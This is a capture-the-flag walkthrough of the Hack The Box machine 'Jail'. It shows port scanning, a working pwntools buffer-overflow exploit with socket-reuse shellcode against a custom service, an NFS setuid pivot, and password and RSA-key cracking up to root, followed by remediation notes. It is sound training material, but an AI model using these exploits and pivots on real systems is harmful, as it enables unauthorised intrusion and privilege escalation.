Run the nmapAutomator script to enumerate open ports and services running on those ports.
./nmapAutomator.sh 10.10.10.34 All
All: Runs all the scans consecutively.
Running all scans on 10.10.10.34Host is likely running Linux---------------------Starting Nmap Quick Scan---------------------Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 14:46 EDT
Nmap scan report for 10.10.10.34
Host is up (0.044s latency).
Not shown: 996 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfsNmap done: 1 IP address (1 host up) scanned in 6.21 seconds---------------------Starting Nmap Basic Scan---------------------Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 14:47 EDT
Nmap scan report for 10.10.10.34
Host is up (0.043s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey:
| 2048 cd:ec:19:7c:da:dc:16:e2:a3:9d:42:f3:18:4b:e6:4d (RSA)
| 256 af:94:9f:2f:21:d0:e0:1d:ae:8e:7f:1d:7b:d7:42:ef (ECDSA)
|_ 256 6b:f8:dc:27:4f:1c:89:67:a4:67:c5:ed:07:53:af:97 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp open rpcbind 2-4 (RPC #100000)
....
2049/tcp open nfs_acl 3 (RPC #100227)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.43 seconds----------------------Starting Nmap UDP Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 14:47 EDT
Warning: 10.10.10.34 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.34
Host is up (0.038s latency).
Not shown: 952 open|filtered ports, 47 filtered ports
PORT STATE SERVICE
111/udp open rpcbindNmap done: 1 IP address (1 host up) scanned in 41.31 secondsMaking a script scan on UDP ports: 111
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 14:47 EDT
Nmap scan report for 10.10.10.34
Host is up (0.14s latency).PORT STATE SERVICE VERSION
111/udp open rpcbind 2-4 (RPC #100000)
....Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.23 seconds---------------------Starting Nmap Full Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 14:47 EDT
Initiating Parallel DNS resolution of 1 host. at 14:47
Completed Parallel DNS resolution of 1 host. at 14:47, 0.02s elapsed
Initiating SYN Stealth Scan at 14:47
Scanning 10.10.10.34 [65535 ports]
....
Nmap scan report for 10.10.10.34
Host is up (0.048s latency).
Not shown: 65529 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
7411/tcp open daqstream
20048/tcp open mountdRead data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 262.21 seconds
Raw packets sent: 130962 (5.762MB) | Rcvd: 270 (19.244KB)Making a script scan on extra ports: 7411, 20048
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 14:52 EDT
Nmap scan report for 10.10.10.34
Host is up (0.039s latency).PORT STATE SERVICE VERSION
7411/tcp open daqstream?
....
20048/tcp open mountd 1-3 (RPC #100005)
....Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 162.53 seconds---------------------Starting Nmap Vulns Scan---------------------
Running CVE scan on all ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 14:54 EDT
Nmap scan report for 10.10.10.34
Host is up (0.063s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS))
|_http-server-header: Apache/2.4.6 (CentOS)
| vulners:
| cpe:/a:apache:http_server:2.4.6:
|_ CVE-2017-7679 7.5 https://vulners.com/cve/CVE-2017-7679
111/tcp open rpcbind 2-4 (RPC #100000)
....
2049/tcp open nfs_acl 3 (RPC #100227)
7411/tcp open daqstream?
....
20048/tcp open mountd 1-3 (RPC #100005)
....Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 167.98 secondsRunning Vuln scan on all ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 14:57 EDT
Nmap scan report for 10.10.10.34
Host is up (0.26s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open http Apache httpd 2.4.6 ((CentOS))
....
111/tcp open rpcbind 2-4 (RPC #100000)
....
2049/tcp open nfs_acl 3 (RPC #100227)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
7411/tcp open daqstream?
....
20048/tcp open mountd 1-3 (RPC #100005)
....Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 213.13 seconds---------------------Recon Recommendations----------------------Web Servers Recon:
gobuster dir -w /usr/share/wordlists/dirb/common.txt -l -t 30 -e -k -x .html,.php -u http://10.10.10.34:80 -o recon/gobuster_10.10.10.34_80.txt
nikto -host 10.10.10.34:80 | tee recon/nikto_10.10.10.34_80.txtWhich commands would you like to run?
All (Default), gobuster, nikto, Skip <!>Running Default in (1) s:---------------------Running Recon Commands----------------------Starting gobuster scan
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.34:80
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Show length: true
[+] Extensions: html,php
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2020/03/08 15:01:50 Starting gobuster
===============================================================
http://10.10.10.34:80/.hta (Status: 403) [Size: 206]
http://10.10.10.34:80/.hta.html (Status: 403) [Size: 211]
http://10.10.10.34:80/.hta.php (Status: 403) [Size: 210]
http://10.10.10.34:80/.htaccess (Status: 403) [Size: 211]
http://10.10.10.34:80/.htaccess.html (Status: 403) [Size: 216]
http://10.10.10.34:80/.htaccess.php (Status: 403) [Size: 215]
http://10.10.10.34:80/.htpasswd (Status: 403) [Size: 211]
http://10.10.10.34:80/.htpasswd.html (Status: 403) [Size: 216]
http://10.10.10.34:80/.htpasswd.php (Status: 403) [Size: 215]
http://10.10.10.34:80/cgi-bin/ (Status: 403) [Size: 210]
http://10.10.10.34:80/cgi-bin/.html (Status: 403) [Size: 215]
http://10.10.10.34:80/index.html (Status: 200) [Size: 2106]
http://10.10.10.34:80/index.html (Status: 200) [Size: 2106]
===============================================================
2020/03/08 15:04:14 Finished
===============================================================Finished gobuster scan
=========================
Starting nikto scan
- Nikto v2.1.6
--------------------------------------------------------------------
+ Target IP: 10.10.10.34
+ Target Hostname: 10.10.10.34
+ Target Port: 80
+ Start Time: 2020-03-08 15:04:16 (GMT-4)
--------------------------------------------------------------------
+ Server: Apache/2.4.6 (CentOS)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ ERROR: Error limit (20) reached for host, giving up. Last error:
+ Scan terminated: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2020-03-08 15:13:08 (GMT-4) (532 seconds)
--------------------------------------------------------------------
+ 1 host(s) testedFinished nikto scan
=========================
---------------------Finished all Nmap scans---------------------
We have 6 ports open.
Port 22: running OpenSSH 6.6.1
Ports 80: running Apache httpd 2.4.6
Port 111: running rpcbind 2–4
Ports 2049: running NFS
Port 20048: running ****NFS mount daemon
Port 7411: running daqstream
Before we move on to enumeration, let’s make some mental notes about the scan results.
The version of OpenSSH running on port 22 is not vulnerable to any RCE exploits, so it’s unlikely that we gain initial access through this service, unless we find credentials.
The nikto and gobuster scans didn’t find any useful results for the web server running on port 80. So we might have to run more comprehensive scans.
The ports for NFS are open. We’ll have to check if there is any mountable directories and the permissions set on those directories. This is the first machine I work on that has the NFS service open, so this will be interesting!
Nmap was uncertain about the service categorization for port 7411. We’ll have to connect to it ourself using netcat and see the output that it gives us.
Enumeration
I always start off with enumerating HTTP.
Port 80 — HTTP
Visit the application in the browser.
Viewing the page source doesn’t give us anything useful. Let’s run a more comprehensive gobuster scan with a larger word list.
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.34 -o gobuster-medium.txt
— no-parent: do not ascend to the parent directory when retrieving recursively
— reject: file name suffixes to reject
-r: recursive
View the content of compile.sh.
gcc -o jail jail.c -m32 -z execstack
service jail stop
cp jail /usr/local/bin/jail
service jail start
The above script takes in the jail.c file, compiles it and outputs the file jail. Then it starts up the service. Notice that while it is compiling the file it sets the flag execstack which means that it is an executable stack. It’s very likely that we’re dealing with a buffer overflow here.
The program runs on port 7411 (that’s the port that nmap was not able to identify) and takes in as input a username and password. The input goes in the form of USER <username> and PASS <password>.
There are hardcoded credentials in the code: admin/1974jailbreak!. It doesn’t look like the application performs any useful functionality when using these credentials.
There is a debug option that outputs the memory address of the variable userpass.
The userpass field is vulnerable to a buffer overflow. We can see that it is allocated 16 bytes, however no input validation is done on the strcpy function and we can input up to 256 bytes.
Port 7411 — Jail
Let’s connect to the jail application and test out the credentials we found.
root@kali:~# nc 10.10.10.34 7411
OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS 1974jailbreak!
OK Authentication success. Send command.
ls
ERR Invalid command.
It doesn’t look it really does anything useful. Let’s test out the debug mode.
root@kali:~# nc 10.10.10.34 7411
OK Ready. Send USER command.
DEBUG
OK DEBUG mode on.
USER bla
OK Send PASS command.
PASS bla
Debug: userpass buffer @ 0xffffd610
ERR Authentication failed.
As mentioned earlier, it does give us the memory address for userpass which is the buffer overflow-able parameter.
Initial Foothold
To gain an initial foothold on the box, we’ll attempt to exploit the buffer overflow vulnerability.
Step #1: Crash the application (fuzzing)
The first step is to prove that the application is vulnerable to a buffer overflow. This can be done by sending a large number of characters as an argument to the application until it crashes. This is known as fuzzing.
Since the buffer is set to 16, we’ll need to use a number of characters larger than 16. Let’s go with 40. Use python to generate a string of 40 As.
gef➤ run
Starting program: /root/Desktop/htb/jail/dev/10.10.10.34/jailuser/dev/jail
On a different tab, connect to the service.
root@kali:~# nc localhost 7411
OK Ready. Send USER command.
Notice that we get a message in GDB telling us that the the process was detached after a fork from the child process. We can fix that by setting the following commands in GDB.
gef➤ set follow-fork-mode child
gef➤ set detach-on-fork off
Now run the program again and connect to it using netcat.
nc localhost 7411
We get the following output in GDB.
gef➤ run
Starting program: /root/Desktop/htb/jail/dev/10.10.10.34/jailuser/dev/jail
[Attaching after process 11091 fork to child process 11096]
[New inferior 2 (process 11096)]
Perfect, it’s working properly right now. Next, add the username and password parameters.
root@kali:~# nc localhost 7411
OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
We get a segmentation fault in GDB.
Looking at the output, we can see that we successfully overwrote the EIP (Extended Instruction Pointer) / return address with 4 As, therefore, confirming that the application is vulnerable to buffer overflow.
Step #2: Determine the security protections that are enabled on the application
This can be done using the “checksec” command.
We can see that PIE is enabled which stands for Position Independent Executable. This means that the memory locations will change every time you run the application. This makes exploiting buffer overflows harder. However, remember there was a DEBUG parameter that gave us the location of the buffer overflow-able field userpass. So we don’t have to worry about figuring out a way to find this memory address.
Step #3: Finding the offset
In step #1 we proved that we can overwrite the EIP by seeing that it was overwritten by a bunch of As. The next step is to find the exact memory address of the EIP. This can be done using pattern create.
gef➤ pattern create 40
[+] Generating a pattern of 40 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
[+] Saved as '$_gef0'
Now perform step #1 again with the above password string. Make sure to use the DEBUG option.
root@kali:~# nc localhost 7411
OK Ready. Send USER command.
DEBUG
OK DEBUG mode on.
USER admin
OK Send PASS command.
PASS aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
Debug: userpass buffer @ 0xffffcb50
We get a segmentation error.
The EIP was overwritten with the string “haaa”. To find exact memory address of the EIP, use the following command.
gef➤ pattern search 0x61616168
[+] Searching '0x61616168'
[+] Found at offset 28 (little-endian search) likely
[+] Found at offset 25 (big-endian search)
Perfect, the offset is 28.
Step #4: Finding Bad Characters
I originally didn’t do this step which caused me a lot of wasted time and the reason for that will become obvious in the next couple of steps. Looking at the code, we see that the characters “\x00” and “\n” are bad characters. By default, the null byte “x00” is always considered a bad character. The issue we face is with the “\n” new line character which is represented by an A (“\x0A”) in hex. And an “A” in decimal is a “10”. See where the problem is?
Our kali machine IP address has a 10 in it so any shell code that contains a reverse shell back to our kali machine will not work.
Step #5: Generating Shell code
The next step would be to generate the reverse shell code. Again, I hadn’t enumerated the bad characters when I first tried to solve this box and therefore I used the following msfvenom command to send a reverse shell back to my attack machine.
Notice the “\x0a” added for my ip address that caused my exploit not to work. To bypass that restriction we’ll make use of socket reuse. We can simply grab the socket reuse shellcode on exploitdb instead of having to write our own.
We have all the necessary information we need to write out our exploit. I use pwn tools to automate the process.
from pwn import *# initial configuration
context(os="linux", arch="i386")
host = "localhost"
port = "7411"# offset, junk to get to the EIP
junk = "A" * 28# userpass leaked memory address
memory_add = p32(0xff802090+32)# socket reuse shell code
buf = ""
buf += "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
buf += "\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
buf += "\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
buf += "\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
buf += "\x89\xe3\x31\xc9\xcd\x80"# connection
p = remote(host,port)
p.recvuntil("OK Ready. Send USER command.")
p.sendline("DEBUG")
p.recvuntil("OK DEBUG mode on.")
p.sendline("USER admin")
p.recvuntil("OK Send PASS command.")
p.sendline("PASS " + junk + memory_add + buf)p.interactive()
Run the exploit and we get a shell!
root@kali:~/Desktop/htb/jail# python jail.py
[+] Opening connection to localhost on port 7411: Done
[*] Switching to interactive modeDebug: userpass buffer @ 0xff802090
$ id
uid=0(root) gid=0(root) groups=0(root)
Now to test it on the Jail box, change the host to the ip address of Jail and the memory_add to the one that gets leaked when you connect to the jail application.
root@kali:~/Desktop/htb/jail# python jail-prod.py
[+] Opening connection to 10.10.10.34 on port 7411: Done
[*] Switching to interactive modeDebug: userpass buffer @ 0xffffd610
$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
We’re in!
Privilege Escalation
Setting the difficulty of this box to Insane was not an overstatement. In order to root the box, we’ll have to pivot to two other users before we can escalate our privileges to root.
nobody -> frank
Let’s first upgrade our non-interactive shell to a partially interactive one.
python -c 'import pty; pty.spawn("/bin/bash")'
Next, visit the home directory and view the permissions on the content of the directory.
bash-4.2$ cd home
cd homebash-4.2$ ls -la
ls -la
total 4
drwxr-xr-x. 3 root root 19 Jun 25 2017 .
dr-xr-xr-x. 17 root root 224 Jun 25 2017 ..
drwx------. 17 frank frank 4096 Jun 28 2017 frank
The user.txt flag is probably in the frank directory. However, as stated by the permissions set on the directory, only the owner frank can view the content of the directory.
Next, let’s learn more about the OS.
bash-4.2$ uname -a
uname -a
Linux localhost.localdomain 3.10.0-514.26.1.el7.x86_64 #1 SMP Thu Jun 29 16:05:25 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
View the list of allowed sudo commands the user can run.
We’re allowed to run the logreader.sh file as the user frank without having to enter frank’s password.
View the permissions on the directory.
bash-4.2$ ls -la /opt | grep logreader
ls -la /opt | grep logreader
drwxr-x---+ 2 root root 26 Jun 26 2017 logreader
We don’t have any permissions. Next, let’s run the logreader.sh file.
We don’t get anything useful. Let’s move on. The nmap scan showed that the NFS ports were open and we never enumerated that service.
Going back to the attack machine, we can enumerate NFS services using NSE scripts.
Run the NSE scripts.
nmap -p 111 --script nfs* 10.10.10.34
We get back the following result.
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 21:31 EDT
Nmap scan report for 10.10.10.34
Host is up (0.056s latency).PORT STATE SERVICE
111/tcp open rpcbind
| nfs-ls: Volume /opt
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwxr-xr-x 0 0 33 2017-06-26T00:00:59 .
| r-xr-xr-x 0 0 224 2017-06-25T10:43:12 ..
| rwxr-x--- 0 0 26 2017-06-26T13:50:21 logreader
| rwxr-xr-x 0 0 6 2015-03-26T13:22:14 rh
|_
| nfs-showmount:
| /opt *
|_ /var/nfsshare *Nmap done: 1 IP address (1 host up) scanned in 5.16 seconds
We can also enumerate this manually using the showmount command.
root@kali:~/Desktop/htb/jail/nfs# showmount -e 10.10.10.34
Export list for 10.10.10.34:
/opt *
/var/nfsshare *
As shown above, we have two folders that we can mount to our attack machine. First create the directories opt and var.
mkdir opt
mkdir var
Next, mount the NFS directories.
mount -t nfs 10.10.10.34:/opt opt
mount -t nfs 10.10.10.34:/var/nfsshare var
Let’s view the permissions on the directories.
root@kali:~/Desktop/htb/jail/nfs# ls -la
total 8
drwxr-xr-x 4 root root 4096 Mar 10 23:18 .
drwxr-xr-x 7 root root 4096 Mar 11 01:49 ..
drwxr-xr-x 4 root root 33 Jun 25 2017 opt
drwx-wx--x 2 root 1000 77 Mar 11 09:37 var
The opt directory can be read and executed by anybody. View the content and permissions of the files in the opt directory.
root@kali:~/Desktop/htb/jail/nfs# cd opt
root@kali:~/Desktop/htb/jail/nfs/opt# ls -la
total 4
drwxr-xr-x 4 root root 33 Jun 25 2017 .
drwxr-xr-x 4 root root 4096 Mar 10 23:18 ..
drwxr-x--- 2 root root 26 Jun 26 2017 logreader
drwxr-xr-x 2 root root 6 Mar 26 2015 rh
We see the logreader directory that contains the logreader.sh file that we can execute as frank without a password. Let’s try and enter the directory.
root@kali:~/Desktop/htb/jail/nfs/opt# cd logreader
bash: cd: logreader: Permission deniedroot@kali:~/Desktop/htb/jail/nfs/opt# id
uid=0(root) gid=0(root) groups=0(root)
We get a permission denied although our attack machine is running with the root id. This leads us to believe that root squashing is in place, which is default configuration for NFS. So not at all surprising. We’ll confirm that in a bit on the target machine.
As for the var directory, we only have execute permissions on it. However, the user id 1000 has write and execute privileges on the directory.
Let’s go back to the target machine and see which user has the 1000 user id.
The configuration for both directories is the same.
Read and write privileges
The setting root_squash is configured which maps all requests from uid/gid 0 to the anonymous uid/gid. This is why we weren’t able to view the files although the attack machine was running with the uid/gid 0. When we made the request to view the file, our id got mapped to the anonymous id and our request got rejected.
More interestingly, the no_all_squash setting is configured which does NOT map all the requests from other uids/gids to the anonymous uid/gid. This again is the default setting for NFS shares.
To sum up, we can assume the identity of any user on the attack machine except for the root user which automatically gets mapped to the anonymous user.
Going back to the permissions on the NFS directories.
Let’s view the permissions on the directories.root@kali:~/Desktop/htb/jail/nfs# ls -la
total 8
drwxr-xr-x 4 root root 4096 Mar 10 23:18 .
drwxr-xr-x 7 root root 4096 Mar 11 01:49 ..
drwxr-xr-x 4 root root 33 Jun 25 2017 opt
drwx-wx--x 2 root 1000 77 Mar 11 09:37 var
The id 1000 (frank) has write and execute privileges on the var directory. So what we’ll do is add the user frank on our kali machine and change his id to 1000.
root@kali:~/Desktop/htb/jail/nfs# useradd frankroot@kali:~/Desktop/htb/jail/nfs# cat /etc/passwd | grep frank
frank:x:1000:1000::/home/frank:/bin/sh
Now we can enter the var directory.
root@kali:~/Desktop/htb/jail/nfs# cd var
root@kali:~/Desktop/htb/jail/nfs/var#
So the attack vector is as follows. We have write privileges on the var directory. Therefore, what we’ll do is create a setuid program file in the var directory with the privileges of the frank user we just created. Next, we’ll execute the setuid program in the target machine and since it has the setuid bit set and the owner is frank, we should be able to pivot from the nobody user to the frank user.
Let’s first change our user to the frank user.
root@kali:~/Desktop/htb/jail/nfs/var# su frank
Next, create a file setuid.c with the following content.
bash-4.2$ cat note.txt
cat note.txt
Note from Administrator:
Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.
I’m guessing the RAR file is password encrypted and the password is frank’s last name followed by 4 digits and a symbol as stated in the note.
Next, view the content of the .local directory.
bash-4.2$ ls -la
ls -la
total 4
drwxr-x---. 2 root adm 20 Jul 3 2017 .
drwxr-x---. 3 root adm 52 Jul 3 2017 ..
-rw-r-----. 1 root adm 113 Jul 3 2017 .frank
bash-4.2$ cat .frank
cat .frank
Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!
The .frank file contains cipher text. I tested to see if it is encrypted using a shift cipher, but it’s not. Next, we’ll test it out on a tool called quipquip that automatically tests a bunch of ciphers.
We get a hit back!
Hahaha! Nobody will quess my new password! Only a few lucky souls have Escaped from Alcatraz alive like I did!!!
After googling “Alcatraz escape”, I have a pretty good idea on what the password could be. One of the escaped prisoners is called Frank Morris. Since frank was a user on this box, and the escape was in 1962, I’m going to guess that the password is Morris1962!. And I just got why the box is called Jail!
Let’s transfer the keys.rar file back to our attack machine. To do that, check if netcat is installed on the box.
Now decompress the file with the password we guessed.
unrar x keys.rar
We get a success message and it decompresses the file.
root@kali:~/Desktop/htb/jail/adm# ls -la
total 16
drwxr-xr-x 2 root root 4096 Mar 11 14:32 .
drwxr-xr-x 8 root root 4096 Mar 11 14:20 ..
-rw-r--r-- 1 root root 475 Mar 11 14:30 keys.rar
-rw-r--r-- 1 root root 451 Jul 3 2017 rootauthorizedsshkey.pub
We get a root public key. Before we try to crack it, let’s assume we didn’t get the hints about the password. In that case, you would hash the keys.rar file to a John the Ripper (JtR) acceptable format.
To gain an initial foothold on the box we exploited one vulnerability.
Buffer overflow vulnerability. The Jail service being used was vulnerable to a stack buffer overflow. This allowed us to execute shell code and gain access to the box. The root cause of the buffer overflow vulnerability was lack of input validation. The developer should have validated user input.
To escalate privileges we exploited four vulnerabilities.
Security misconfiguration of NFS shares. The NFS shares were readable and writeable. Therefore, as a remote attacker, we were able to mount shares and add malicious files to the shares that allowed us to pivot to another user (frank). The configuration of NFS shares should have followed the least privilege policy.
Security misconfiguration of user permissions. The user we pivoted to was configured to run the rvim command as another user. We used that security misconfiguration to run the command, escape the rvim shell and pivot that user (adm). Similar to NFS shares, the user permissions should have followed the least privilege policy.
Weak credentials. Now that we have access to another user’s directory, we enumerate the user’s files and find a RAR file that was encrypted with the user’s personal information and therefore was easy to crack. The user should have instead used a sufficiently long password that is difficult to crack.
Weak cryptographic key. After decrypting the RAR file, we found a weak RSA public key to the root’s account. From there we used a tool to recover the corresponding private key and SSHed into the root account. The issue here is not with the RSA algorithm but the parameter that the administrator had used as input to the RSA algorithm. For example, small key sizes, using smaller primes (p & q values), etc. The administrator should have used the guidelines listed in cryptographic standards that ensure secure configuration of the cryptographic algorithm results in strong keys.
